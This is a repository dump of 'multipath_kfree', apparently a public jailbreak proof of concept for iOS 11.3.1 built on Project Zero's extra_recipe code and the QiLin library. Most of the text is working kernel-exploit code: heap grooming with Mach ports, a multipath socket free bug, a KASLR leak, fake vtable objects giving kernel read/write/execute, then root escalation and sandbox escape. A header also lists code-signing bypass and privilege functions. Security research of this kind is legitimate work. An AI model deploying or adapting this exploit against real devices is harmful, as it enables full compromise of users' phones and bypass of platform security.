Repository: potmdehex/multipath_kfree Branch: master Commit: 72e871782be5 Files: 35 Total size: 65.2 KB Directory structure: gitextract_f5akhlog/ ├── README.md ├── extra_recipe/ │ ├── AppDelegate.h │ ├── AppDelegate.m │ ├── AppDelegate.swift │ ├── Assets.xcassets/ │ │ ├── AppIcon.appiconset/ │ │ │ └── Contents.json │ │ └── Contents.json │ ├── Base.lproj/ │ │ ├── LaunchScreen.storyboard │ │ └── Main.storyboard │ ├── Info.plist │ ├── QiLin.h │ ├── README │ ├── ViewController.h │ ├── ViewController.m │ ├── ViewController.swift │ ├── extra_recipe-Bridging-Header.h │ ├── extra_recipe.entitlements │ ├── extra_recipe_utils.c │ ├── extra_recipe_utils.h │ ├── jailbreak.c │ ├── jailbreak.h │ ├── load_regs_and_crash.s │ ├── main.m │ ├── multipath_kfree.c │ ├── multipath_kfree.h │ ├── qilin_tfp0less.o │ ├── sha1.o │ └── sha256.o ├── extra_recipe_extra_extra_bug.xcodeproj/ │ ├── project.pbxproj │ ├── project.xcworkspace/ │ │ ├── contents.xcworkspacedata │ │ ├── xcshareddata/ │ │ │ └── IDEWorkspaceChecks.plist │ │ └── xcuserdata/ │ │ └── ianbeer.xcuserdatad/ │ │ └── UserInterfaceState.xcuserstate │ └── xcuserdata/ │ └── ianbeer.xcuserdatad/ │ └── xcschemes/ │ ├── extra_recipe.xcscheme │ └── xcschememanagement.plist └── multipath_kfree/ ├── multipath_kfree.c └── multipath_kfree.h ================================================ FILE CONTENTS ================================================ ================================================ FILE: README.md ================================================ # multipath_kfree # DISABLE SIRI BEFORE RUNNING low effort jb for iOS 11.3.1 by [@jaakerblom](https://twitter.com/jaakerblom) Sets up kernel RWX with clear API Tested on iPhone X only Uses [QiLin](http://newosxbook.com/QiLin/) by Jonathan Levin Thanks to: * Everyone including Stefan Esser Special thanks to: * [@i41nbeer](https://twitter.com/i41nbeer) * [@doadam](https://twitter.com/doadam) * Mr. 0xd503201f * [@Morpheus______](https://twitter.com/Morpheus______) Note about Siri: Siri has the multipath entitlement and seems to be using multipath sockets. The current code does not account for this as it aspects a new page for the multipath socket structs, therefore you either have to disable Siri or change the heap logic before running. ================================================ FILE: extra_recipe/AppDelegate.h ================================================ // // AppDelegate.h // multipath_kfree // // Created by q on 6/1/18. // Copyright © 2018 kjljkla. All rights reserved. // #import @interface AppDelegate : UIResponder @property (strong, nonatomic) UIWindow *window; @end ================================================ FILE: extra_recipe/AppDelegate.m ================================================ // // AppDelegate.m // multipath_kfree // // Created by q on 6/1/18. // Copyright © 2018 kjljkla. All rights reserved. // #import "AppDelegate.h" @interface AppDelegate () @end @implementation AppDelegate - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { // Override point for customization after application launch. return YES; } - (void)applicationWillResignActive:(UIApplication *)application { // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state. // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game. } - (void)applicationDidEnterBackground:(UIApplication *)application { // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later. // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits. } - (void)applicationWillEnterForeground:(UIApplication *)application { // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background. } - (void)applicationDidBecomeActive:(UIApplication *)application { // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface. } - (void)applicationWillTerminate:(UIApplication *)application { // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:. } @end ================================================ FILE: extra_recipe/AppDelegate.swift ================================================ // // AppDelegate.swift // extra_recipe // // Created by Ian Beer on 1/23/17. // Copyright © 2017 Ian Beer. All rights reserved. // import UIKit @UIApplicationMain class AppDelegate: UIResponder, UIApplicationDelegate { var window: UIWindow? func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?) -> Bool { // Override point for customization after application launch. return true } func applicationWillResignActive(_ application: UIApplication) { // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state. // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game. } func applicationDidEnterBackground(_ application: UIApplication) { // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later. // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits. } func applicationWillEnterForeground(_ application: UIApplication) { // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background. } func applicationDidBecomeActive(_ application: UIApplication) { // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface. } func applicationWillTerminate(_ application: UIApplication) { // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:. } } ================================================ FILE: extra_recipe/Assets.xcassets/AppIcon.appiconset/Contents.json ================================================ { "images" : [ { "idiom" : "iphone", "size" : "20x20", "scale" : "2x" }, { "idiom" : "iphone", "size" : "20x20", "scale" : "3x" }, { "idiom" : "iphone", "size" : "29x29", "scale" : "2x" }, { "idiom" : "iphone", "size" : "29x29", "scale" : "3x" }, { "idiom" : "iphone", "size" : "40x40", "scale" : "2x" }, { "idiom" : "iphone", "size" : "40x40", "scale" : "3x" }, { "idiom" : "iphone", "size" : "60x60", "scale" : "2x" }, { "idiom" : "iphone", "size" : "60x60", "scale" : "3x" }, { "idiom" : "ipad", "size" : "20x20", "scale" : "1x" }, { "idiom" : "ipad", "size" : "20x20", "scale" : "2x" }, { "idiom" : "ipad", "size" : "29x29", "scale" : "1x" }, { "idiom" : "ipad", "size" : "29x29", "scale" : "2x" }, { "idiom" : "ipad", "size" : "40x40", "scale" : "1x" }, { "idiom" : "ipad", "size" : "40x40", "scale" : "2x" }, { "idiom" : "ipad", "size" : "76x76", "scale" : "1x" }, { "idiom" : "ipad", "size" : "76x76", "scale" : "2x" }, { "idiom" : "ipad", "size" : "83.5x83.5", "scale" : "2x" }, { "idiom" : "ios-marketing", "size" : "1024x1024", "scale" : "1x" } ], "info" : { "version" : 1, "author" : "xcode" } } ================================================ FILE: extra_recipe/Assets.xcassets/Contents.json ================================================ { "info" : { "version" : 1, "author" : "xcode" } } ================================================ FILE: extra_recipe/Base.lproj/LaunchScreen.storyboard ================================================ ================================================ FILE: extra_recipe/Base.lproj/Main.storyboard ================================================ ================================================ FILE: extra_recipe/Info.plist ================================================ CFBundleDevelopmentRegion $(DEVELOPMENT_LANGUAGE) CFBundleExecutable $(EXECUTABLE_NAME) CFBundleIdentifier $(PRODUCT_BUNDLE_IDENTIFIER) CFBundleInfoDictionaryVersion 6.0 CFBundleName $(PRODUCT_NAME) CFBundlePackageType APPL CFBundleShortVersionString 1.0 CFBundleVersion 1 LSRequiresIPhoneOS UILaunchStoryboardName LaunchScreen UIMainStoryboardFile Main UIRequiredDeviceCapabilities armv7 UISupportedInterfaceOrientations UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UISupportedInterfaceOrientations~ipad UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight ================================================ FILE: extra_recipe/QiLin.h ================================================ // // jjt.h // QiLin // // Created by JL on 12/7/17. // Copyright © 2017 NewOSXBook. All rights reserved. // Revision 3: Added spawnAndPlatformize(), // moved to posix_spawn() implementation for exec() family // actually exported the set*Reporter functions (formerly ErrorHandler.. etc - // "Reporter" is more accurate, because they allow you to propagate messages to // a GUI. // #ifndef qilin_h./Developer/Xcode/DerivedData/LiberiOS-eprgauhokruyejdrgttigzlnmnde/Build/Intermediates.noindex/LiberiOS.build #define qilin_h #include #include #include char *getMachine (void); char *getOSVer(void); // MUST call this first int initQiLin (mach_port_t TFP0, uint64_t KernelBase); // System wide effects // int remountRootFS (void); pid_t execCommand(char *Cmd, char *Arg1, char *Arg2, char *Arg3, char *Arg4, char *Arg5 , int Flags); int execCommandAndWait(char *Cmd, char *Arg1, char *Arg2, char *Arg3, char *Arg4, char *Arg5); int setTFP0AsHostSpecialPort4 (void); // 1/17/18 - This is super useful int spawnAndPlatformize (char *AmfidebPath, char *Arg1, char *Arg2, char *Arg3 , char *Arg4, char *Arg5); int moveFileFromAppDir (char *File, char *Dest); int disableAutoUpdates(void); // Code signing // Will set AMFId's exception ports and thereby disable code signing // int castrateAmfid (void); // Utility function - you probably won't need this directly. #define ALGORITHM_SHA256 2 #define ALGORITHM_SHA1 1 char *cdHashOfFile(char *fileName,int Algorithm); // Calculate CDHash of a given Mach-O (for messing with AMFI) // Kernel Memory access (wrappers over kernel_task send right) uint64_t findKernelSymbol (char *Symbol); void setKernelSymbol (char *Symbol, uint64_t Address); int readKernelMemory(uint64_t Address, uint64_t Len, void **To); int writeKernelMemory(uint64_t Address, uint64_t Len, void *From); // Not recommended, but doable: Bestow task port of Pid in TargetPid mach_port_t task_for_pid_in_kernel (pid_t Pid, pid_t TargetPid); // Process manipulation functions // Finds the address of struct proc for this pid_t in kernel memory. uint64_t getProcStructForPid(pid_t); // Finds the pid of a process given its (base) name. Note this will only // work on processes you are the owner of (or all, if root) - this is intentional pid_t findPidOfProcess (char *ProcName) ; int setCSFlagsForProcAtAddr(uint64_t ProcStructAddr, int Flags, int Set); int setCSFlagsForPid (pid_t Whom); int platformizePid(pid_t Whom); int rootifyPid(pid_t Whom); int ShaiHuludPid (pid_t Whom); int unShaiHuludPid (pid_t Whom); uint64_t borrowEntitlementsFromDonor(char *UnwittingDonor, char *Arg); // By request :-) uint64_t borrowEntitlementsFromPid(pid_t Pid); // Presently, limited to two entitlements, and assumed boolean (true) int entitlePidWithKernelEnts (pid_t Whom, char *Ent1, char *Ent2); // Convenience functions - do all the above , but on my process int platformizeMe (void); int rootifyMe(void); // Escape sandbox: // call with 0 to assume kernel cred, else specify value. Will return origCreds uint64_t ShaiHuludMe(uint64_t OtherCredsOr0ForKernelCreds); void unShaiHuludMe(uint64_t OrigCreds); int entitleMe(char *entitlementString); uint64_t getKernelCredAddr (void); /// Launchd handling utilities - just for you @launchderp :-) int makeLaunchdPlist (char *PlistName, char *Program, char *ProgramArguments, char *StandardOutputPath, char *StandardErrorPath, int RunAtLoad); int launjctlLaunchdPlist(char *Name); // I use these internally, not sure anyone else would need them int launjctlPrintSystem (void); int launjctlDumpState(void); // This one is still in progress. Don't use it please. int movePortToPid(mach_port_t PortMoved, pid_t Pid, mach_port_name_t Name); int spawnJailbreakServer (char *Name, mach_port_t TFP0, mach_port_name_t NameInTarget); // UI Support: // Provide status, error and debug print outs to user, // which may be redirected to GUI views, etc. // Default implmenentations are NSLog. typedef void (status_func) (char *,...); void setStatusReporter (status_func *Func); void setErrorReporter (status_func *Func); void setDebugReporter (status_func *Func); // Utility functions you probably won't need unless you want to do your own debugging void hexDump(void *Mem, int Len, uint64_t Addr); void dumpARMThreadState64(_STRUCT_ARM_THREAD_STATE64 *old_state); // Even more Internal/advanced use: uint64_t findKernelTask (void); uint64_t findMyProcStructInKernelMemory(void); // For other advanced uses I haven't provided already #endif /* qilin_h */ ================================================ FILE: extra_recipe/README ================================================ ================================================ FILE: extra_recipe/ViewController.h ================================================ // // ViewController.h // multipath_kfree // // Created by q on 6/1/18. // Copyright © 2018 kjljkla. All rights reserved. // #import @interface ViewController : UIViewController @end ================================================ FILE: extra_recipe/ViewController.m ================================================ // // ViewController.m // multipath_kfree // // Created by q on 6/1/18. // Copyright © 2018 kjljkla. All rights reserved. // #import "ViewController.h" #include "jailbreak.h" @interface ViewController () @end @implementation ViewController - (void)viewDidLoad { [super viewDidLoad]; // Do any additional setup after loading the view, typically from a nib. jb_go(); } - (void)didReceiveMemoryWarning { [super didReceiveMemoryWarning]; // Dispose of any resources that can be recreated. } @end ================================================ FILE: extra_recipe/ViewController.swift ================================================ // // ViewController.swift // extra_recipe // // Created by Ian Beer on 1/23/17. // Copyright © 2017 Ian Beer. All rights reserved. // import UIKit class ViewController: UIViewController { override func viewDidLoad() { super.viewDidLoad() DispatchQueue.main.async(execute: { () -> Void in jb_go(); }) } override func didReceiveMemoryWarning() { super.didReceiveMemoryWarning() // Dispose of any resources that can be recreated. } } ================================================ FILE: extra_recipe/extra_recipe-Bridging-Header.h ================================================ // // Use this file to import your target's public headers that you would like to expose to Swift. // int jb_go(); ================================================ FILE: extra_recipe/extra_recipe.entitlements ================================================ com.apple.developer.networking.multipath ================================================ FILE: extra_recipe/extra_recipe_utils.c ================================================ // This code is lifted from extra_recipe by Ian Beer of Google Project Zero: // https://bugs.chromium.org/p/project-zero/issues/detail?id=1004 #include #include #include #include #include #include #include #include #include #include #include #include #include // IOKit stuff #define kIOMasterPortDefault MACH_PORT_NULL #define IO_OBJECT_NULL MACH_PORT_NULL typedef mach_port_t io_iterator_t; typedef mach_port_t io_service_t; typedef mach_port_t io_connect_t; typedef mach_port_t io_object_t; typedef char io_name_t[128]; CFMutableDictionaryRef IOServiceMatching(const char* name ); kern_return_t IOServiceGetMatchingServices( mach_port_t masterPort, CFDictionaryRef matching, io_iterator_t * existing ); io_service_t IOServiceGetMatchingService( mach_port_t masterPort, CFDictionaryRef matching); io_object_t IOIteratorNext( io_iterator_t iterator ); kern_return_t IOObjectGetClass( io_object_t object, io_name_t className ); kern_return_t IOServiceOpen( io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t * connect ); kern_return_t IOServiceClose( io_connect_t connect ); kern_return_t IOObjectRelease( io_object_t object ); kern_return_t IOConnectGetService( io_connect_t connect, io_service_t * service ); // mach_vm protos kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags ); kern_return_t mach_vm_deallocate ( vm_map_t target, mach_vm_address_t address, mach_vm_size_t size ); mach_port_t prealloc_port(int size) { kern_return_t err; mach_port_qos_t qos = {0}; qos.prealloc = 1; qos.len = size; mach_port_name_t name = MACH_PORT_NULL; err = mach_port_allocate_full(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, MACH_PORT_NULL, &qos, &name); if (err != KERN_SUCCESS) { printf("pre-allocated port allocation failed: %s\n", mach_error_string(err)); return MACH_PORT_NULL; } return (mach_port_t)name; } io_service_t service = MACH_PORT_NULL; io_connect_t alloc_userclient() { kern_return_t err; if (service == MACH_PORT_NULL) { service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AGXAccelerator")); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } } io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), 5, &conn); // AGXCommandQueue, 0xdb8 if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; } return conn; } // each time we get an exception message copy the first 32 registers into this buffer uint64_t crash_buf[32] = {0}; // use the 32 general purpose ARM64 registers // implemented in load_regs_and_crash.s void load_regs_and_crash(uint64_t* buf); // (actually only 30 controlled qwords for the send) struct thread_args { uint64_t buf[32]; mach_port_t exception_port; }; void* do_thread(void* arg) { struct thread_args* args = (struct thread_args*)arg; uint64_t buf[32]; memcpy(buf, args->buf, sizeof(buf)); kern_return_t err; err = thread_set_exception_ports( mach_thread_self(), EXC_MASK_ALL, args->exception_port, EXCEPTION_STATE, // we want to receive a catch_exception_raise_state message ARM_THREAD_STATE64); free(args); load_regs_and_crash(buf); printf("no crashy?"); return NULL; } void prepare_prealloc_port(mach_port_t port) { mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); } int port_has_message(mach_port_t port) { kern_return_t err; mach_port_seqno_t msg_seqno = 0; mach_msg_size_t msg_size = 0; mach_msg_id_t msg_id = 0; mach_msg_trailer_t msg_trailer; // NULL trailer mach_msg_type_number_t msg_trailer_size = sizeof(msg_trailer); err = mach_port_peek(mach_task_self(), port, MACH_RCV_TRAILER_NULL, &msg_seqno, &msg_size, &msg_id, (mach_msg_trailer_info_t)&msg_trailer, &msg_trailer_size); return (err == KERN_SUCCESS); } uint8_t crash_stack[0x4000]; // port needs to have a send right void send_prealloc_msg(mach_port_t port, uint64_t* buf, int n) { struct thread_args* args = malloc(sizeof(struct thread_args)); memset(args, 0, sizeof(struct thread_args)); memcpy(args->buf, buf, n*8); args->exception_port = port; // start a new thread passing it the buffer and the exception port pthread_t t; pthread_create(&t, NULL, do_thread, (void*)args); // associate the pthread_t with the port so that we can join the correct pthread // when we receive the exception message and it exits: // kern_return_t err = mach_port_set_context(mach_task_self(), port, (mach_port_context_t)t); //printf("set context\n"); // wait until the message has actually been sent: while(!port_has_message(port)){;} thread_t thread = pthread_mach_thread_np(t); thread_terminate(thread); // leaks pthread structs, will destroy you eventually } // the returned pointer is only valid until the next call to this function // ownership is retained by this function uint64_t* receive_prealloc_msg(mach_port_t port) { uint8_t msg[1024]; memset(msg, 0x00, sizeof(msg)); mach_msg((mach_msg_header_t *)msg, MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE, // no timeout 0, 0x1000, port, 0, 0); memcpy(crash_buf, msg, sizeof(crash_buf)); return &crash_buf[0]; } int _kx_setup = 0; io_connect_t *_ucs = NULL; mach_port_t *_lazy_ports = NULL; uint64_t _kaslr_shift = 0; uint64_t _kernel_buffer_base = 0; io_connect_t *_uc = 0; mach_port_t _lazy_port = 0; static void _kx_find() { uint64_t kernel_base = 0xfffffff007004000 + _kaslr_shift; uint64_t osserializer_serialize = 0xfffffff0075468f8 + _kaslr_shift; uint64_t get_metaclass = 0xfffffff007548a24 + _kaslr_shift; uint64_t ret = get_metaclass + 8; uint64_t copyout = 0xfffffff0071f5280 + _kaslr_shift; volatile uint32_t feedfacf = 0; uint64_t r_obj[64]; memset(r_obj, 0, sizeof(r_obj)); r_obj[0] = _kernel_buffer_base+0x8; // fake vtable points 8 bytes into this object r_obj[1] = 0x20003; // refcount r_obj[2] = _kernel_buffer_base+0x48 - 0x18 - 8 + 0x10; // obj + 0x10 -> rdi (memmove dst) r_obj[3] = sizeof(uint32_t); // obj + 0x18 -> rsi (memmove src) r_obj[4] = osserializer_serialize; // obj + 0x20 -> fptr r_obj[5] = ret; // vtable + 0x20 (::retain) r_obj[6] = osserializer_serialize; // vtable + 0x28 (::release) r_obj[7] = 0x11; // r_obj[8] = get_metaclass; // vtable + 0x38 (::getMetaClass) r_obj[9] = kernel_base; r_obj[10] = &feedfacf; r_obj[11] = copyout; memmove((uint8_t *)r_obj + 0x10, r_obj, sizeof(r_obj) - 0x10); for (int i = 0; i < 1000; ++i) { send_prealloc_msg(_lazy_ports[i], (uint64_t *)r_obj, 30); } for (int i = 0; i < 1000; ++i) { io_service_t service; IOConnectGetService(_ucs[i], &service); if (feedfacf != 0) { _uc = _ucs[i]; break; } } for (int i = 0; i < 1000; ++i) { receive_prealloc_msg(_lazy_ports[i]); } r_obj[9+2] = kernel_base + 1; int sent_count = 0; for (int i = 0; i < 1000; ++i) { send_prealloc_msg(_lazy_ports[i], (uint64_t *)r_obj, 30); io_service_t service; IOConnectGetService(_uc, &service); if (feedfacf != 0xfeedfacf) { _lazy_port = _lazy_ports[i]; sent_count = i+1; break; } } for (int i = 0; i < sent_count; ++i) { receive_prealloc_msg(_lazy_ports[i]); } } void kx_setup(io_connect_t *ucs, mach_port_t *lazy_ports, uint64_t kaslr_shift, uint64_t kernel_buffer_base) { _ucs = ucs; _lazy_ports = lazy_ports; _kaslr_shift = kaslr_shift; _kernel_buffer_base = kernel_buffer_base; for (int i = 0; i < 1000; ++i) { prepare_prealloc_port(lazy_ports[i]); } _kx_find(); } void kx3(uint64_t fptr, uint64_t arg0, uint64_t arg1, uint64_t arg2) { uint64_t osserializer_serialize = 0xfffffff0075468f8 + _kaslr_shift; uint64_t get_metaclass = 0xfffffff007548a24 + _kaslr_shift; uint64_t ret = get_metaclass + 8; uint64_t copyout = 0xfffffff0071f5280 + _kaslr_shift; uint64_t r_obj[64]; memset(r_obj, 0, sizeof(r_obj)); r_obj[0] = _kernel_buffer_base+0x8; // fake vtable points 8 bytes into this object r_obj[1] = 0x20003; // refcount r_obj[2] = _kernel_buffer_base+0x48 - 0x18 - 8 + 0x10; // obj + 0x10 -> rdi (memmove dst) r_obj[3] = arg2; // obj + 0x18 -> rsi (memmove src) r_obj[4] = osserializer_serialize; // obj + 0x20 -> fptr r_obj[5] = ret; // vtable + 0x20 (::retain) r_obj[6] = osserializer_serialize; // vtable + 0x28 (::release) r_obj[7] = 0x11; // r_obj[8] = get_metaclass; // vtable + 0x38 (::getMetaClass) r_obj[9] = arg0; r_obj[10] = arg1; r_obj[11] = fptr; memmove((uint8_t *)r_obj + 0x10, r_obj, sizeof(r_obj) - 0x10); send_prealloc_msg(_lazy_port, (uint64_t *)r_obj, 30); io_service_t service; IOConnectGetService(_uc, &service); receive_prealloc_msg(_lazy_port); } void kread(uint64_t addr, uint8_t *userspace, int n) { uint64_t copyout = 0xfffffff0071f5280 + _kaslr_shift; kx3(copyout, addr, userspace, n); } uint32_t kread32(uint64_t addr) { uint64_t copyout = 0xfffffff0071f5280 + _kaslr_shift; uint32_t value = 0; kx3(copyout, addr, (uint64_t)&value, sizeof(value)); return value; } uint64_t kread64(uint64_t addr) { uint64_t copyout = 0xfffffff0071f5280 + _kaslr_shift; uint64_t value = 0; kx3(copyout, addr, (uint64_t)&value, sizeof(value)); return value; } void kwrite(uint64_t addr, uint8_t *userspace, int n) { uint64_t copyin = 0xfffffff0071f5058 + _kaslr_shift; kx3(copyin, userspace, addr, n); } void kwrite32(uint64_t addr, uint32_t value) { uint64_t copyin = 0xfffffff0071f5058 + _kaslr_shift; kx3(copyin, &value, addr, sizeof(value)); } void kwrite64(uint64_t addr, uint64_t value) { uint64_t copyin = 0xfffffff0071f5058 + _kaslr_shift; kx3(copyin, &value, addr, sizeof(value)); } ================================================ FILE: extra_recipe/extra_recipe_utils.h ================================================ // // extra_recipe_utils.h // multipath_kfree // // Created by John Åkerblom on 6/1/18. // Copyright © 2018 kjljkla. All rights reserved. // #ifndef extra_recipe_utils_h #define extra_recipe_utils_h #include #include mach_port_t prealloc_port(int size); void prepare_prealloc_port(mach_port_t port); void send_prealloc_msg(mach_port_t port, uint64_t* buf, int n); uint64_t* receive_prealloc_msg(mach_port_t port); typedef mach_port_t io_service_t; typedef mach_port_t io_connect_t; io_connect_t alloc_userclient(); // Kernel RWX void kx_setup(io_connect_t *ucs, mach_port_t *lazy_ports, uint64_t kaslr_shift, uint64_t kernel_buffer_base); void kx3(uint64_t fptr, uint64_t arg0, uint64_t arg1, uint64_t arg2); void kread(uint64_t addr, uint8_t *userspace, int n); uint32_t kread32(uint64_t addr); uint64_t kread64(uint64_t addr); void kwrite(uint64_t addr, uint8_t *userspace, int n); void kwrite32(uint64_t addr, uint32_t value); void kwrite64(uint64_t addr, uint64_t value); #endif /* extra_recipe_utils_h */ ================================================ FILE: extra_recipe/jailbreak.c ================================================ // // jailbreak.c // multipath_kfree // // Created by John Åkerblom on 6/1/18. // Copyright © 2018 kjljkla. All rights reserved. // #include "jailbreak.h" #include "extra_recipe_utils.h" #include "multipath_kfree.h" #include "QiLin.h" #include #include #include #include #include #include #ifndef AF_MULTIPATH #define AF_MULTIPATH 39 #endif #define MP_SOCK_COUNT 0x10 #define FIRST_PORTS_COUNT 100 #define REFILL_PORTS_COUNT 100 #define TOOLAZY_PORTS_COUNT 1000 #define REFILL_USERCLIENTS_COUNT 1000 #define MAX_PEEKS 30000 static void _init_port_with_empty_msg(mach_port_t port) { uint8_t buf[256]; memset(buf, 0x00, sizeof(buf)); prepare_prealloc_port(port); send_prealloc_msg(port, (uint64_t *)buf, 30); } static int _is_port_corrupt(mach_port_t port) { kern_return_t err; mach_port_seqno_t msg_seqno = 0; mach_msg_size_t msg_size = 0; mach_msg_id_t msg_id = 0; mach_msg_trailer_t msg_trailer; // NULL trailer mach_msg_type_number_t msg_trailer_size = sizeof(msg_trailer); err = mach_port_peek(mach_task_self(), port, MACH_RCV_TRAILER_NULL, &msg_seqno, &msg_size, &msg_id, (mach_msg_trailer_info_t)&msg_trailer, &msg_trailer_size); if (msg_id && (msg_id != 0x962)) { return 1; } return 0; } static int __readKernelMemory(uint64_t Address, uint64_t Len, void **To) { void *mem = malloc(Len); kread(Address, mem, (int)Len); *To = mem; return (int)Len; } static int __writeKernelMemory(uint64_t Address, uint64_t Len, void *From) { kwrite(Address, From, (int)Len); return (int)Len; } // This will not enable all QiLin features - but enough for us void _init_tfp0less_qilin(uint64_t kaslr_shift) { uint64_t kernproc = 0xfffffff0076450a8 + kaslr_shift; uint64_t *m = (uint64_t *)mmap((void *)0x110000000, 0x4000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); *m = (uint64_t)__readKernelMemory; *(m + 1) = (uint64_t)__writeKernelMemory; *(m + 2) = kernproc; } void post_exploitation(uint64_t kernel_base, uint64_t kaslr_shift) { // Do Electra/QiLin/Saurik/etc stuff here printf("Post-exploitation stage, you have kernel RWX with a clear API now (extra_recipe_utils.h) so put whatever you want here (let me spell it out for you Reddit: this === tfp0). There is no more exploitation of any vulnerabilities to be done, only mitigation bypasses of which all are public. I called this a PoC because of lack of offsets, elegant techniques, testing, reliability, documentation and so on, not because it does nothing"); // kwx3(0xFFFFFFFF41414141, 0x111, 0x222, 0x333); // How to use API // Use Jonathan Levin's QiLin to elevate prvileges and escape sandbox. _init_tfp0less_qilin(kaslr_shift); initQiLin(0x1337, kernel_base); rootifyMe(); ShaiHuludMe(0); printf("If all went well, sandbox escaped and root achieved now, test it if you want\n"); } void jb_go(void) { io_connect_t refill_userclients[REFILL_USERCLIENTS_COUNT]; mach_port_t first_ports[FIRST_PORTS_COUNT]; mach_port_t refill_ports[REFILL_PORTS_COUNT]; mach_port_t toolazy_ports[TOOLAZY_PORTS_COUNT]; mach_port_t corrupt_port = 0; uint64_t contained_port_addr = 0; uint8_t *recv_buf = NULL; uint8_t send_buf[1024]; int mp_socks[MP_SOCK_COUNT]; int prealloc_size = 0x660; // kalloc.4096 int found = 0; int peeks = 0; for (int i = 0; i < 10000; ++i){ prealloc_port(prealloc_size); } for (int i = 0; i < 0x20; ++i) { first_ports[i] = prealloc_port(prealloc_size); } mp_socks[0] = socket(39, SOCK_STREAM, 0); // multipath_kfree(mp_sock, 0xffffffff41414141); for (;;) sleep(1); // uncomment for basic POC for (int i = 0x20; i < FIRST_PORTS_COUNT; ++i) { first_ports[i] = prealloc_port(prealloc_size); } for (int i = 1; i < MP_SOCK_COUNT; ++i) { mp_socks[i] = socket(39, SOCK_STREAM, 0); } for (int i = 0; i < FIRST_PORTS_COUNT; ++i) { _init_port_with_empty_msg(first_ports[i]); } multipath_kfree_nearby_self(mp_socks[0], 0x0000 + 0x7a0); multipath_kfree_nearby_self(mp_socks[3], 0xe000 + 0x7a0); for (peeks = 0; peeks < MAX_PEEKS; ++peeks) { for (int i = 0 ; i < FIRST_PORTS_COUNT; ++i) { if (_is_port_corrupt(first_ports[i])) { corrupt_port = first_ports[i]; printf("Corrupt port: %08X %d\n", corrupt_port, i); found = 1; break; } } if (found) break; } if (peeks >= MAX_PEEKS) { printf("Didn't find corrupt port"); sleep(1); exit(0); } for (int i = 0; i < REFILL_PORTS_COUNT; ++i) { refill_ports[i] = prealloc_port(prealloc_size); } for (int i = 0; i < REFILL_PORTS_COUNT; ++i) { _init_port_with_empty_msg(refill_ports[i]); } recv_buf = (uint8_t *)receive_prealloc_msg(corrupt_port); contained_port_addr = *(uint64_t *)(recv_buf + 0x1C); printf("refill port is at %p\n", (void *)contained_port_addr); memset(send_buf, 0, sizeof(send_buf)); send_prealloc_msg(corrupt_port, (uint64_t *)send_buf, 30); multipath_kfree(contained_port_addr); for (;;) { if (_is_port_corrupt(corrupt_port)) { break; } } for (int i = 0; i < REFILL_USERCLIENTS_COUNT; ++i) { refill_userclients[i] = alloc_userclient(); } recv_buf = (uint8_t *)receive_prealloc_msg(corrupt_port); uint64_t vtable = *(uint64_t *)(recv_buf + 0x14); uint64_t kaslr_shift = vtable - 0xfffffff006fdd978; printf("AGXCommandQueue vtable: %p\n", (void *)vtable); printf("kaslr shift: %p\n", (void *)kaslr_shift); // Out of everything not done properly in this POC, this is // not done properly the most mach_port_destroy(mach_task_self(), corrupt_port); for (int i = 0; i < TOOLAZY_PORTS_COUNT; ++i) { toolazy_ports[i] = prealloc_port(prealloc_size-0x28); // Not even really aligned because lazy } kx_setup(refill_userclients, toolazy_ports, kaslr_shift, contained_port_addr); uint64_t kernel_base = 0xfffffff007004000 + kaslr_shift; uint32_t val = kread32(kernel_base); printf("kernelbase DWORD: %08X\n", val); post_exploitation(kernel_base, kaslr_shift); printf("Done\n"); for (;;) sleep(1); } ================================================ FILE: extra_recipe/jailbreak.h ================================================ // // jailbreak.h // multipath_kfree // // Created by John Åkerblom on 6/1/18. // #ifndef jailbreak_h #define jailbreak_h void jb_go(void); #endif /* jailbreak_h */ ================================================ FILE: extra_recipe/load_regs_and_crash.s ================================================ ; This code is lifted from extra_recipe by Ian Beer of Google Project Zero: .text .globl _load_regs_and_crash .align 2 _load_regs_and_crash: mov x30, x0 ldp x0, x1, [x30, 0] ldp x2, x3, [x30, 0x10] ldp x4, x5, [x30, 0x20] ldp x6, x7, [x30, 0x30] ldp x8, x9, [x30, 0x40] ldp x10, x11, [x30, 0x50] ldp x12, x13, [x30, 0x60] ldp x14, x15, [x30, 0x70] ldp x16, x17, [x30, 0x80] ldp x18, x19, [x30, 0x90] ldp x20, x21, [x30, 0xa0] ldp x22, x23, [x30, 0xb0] 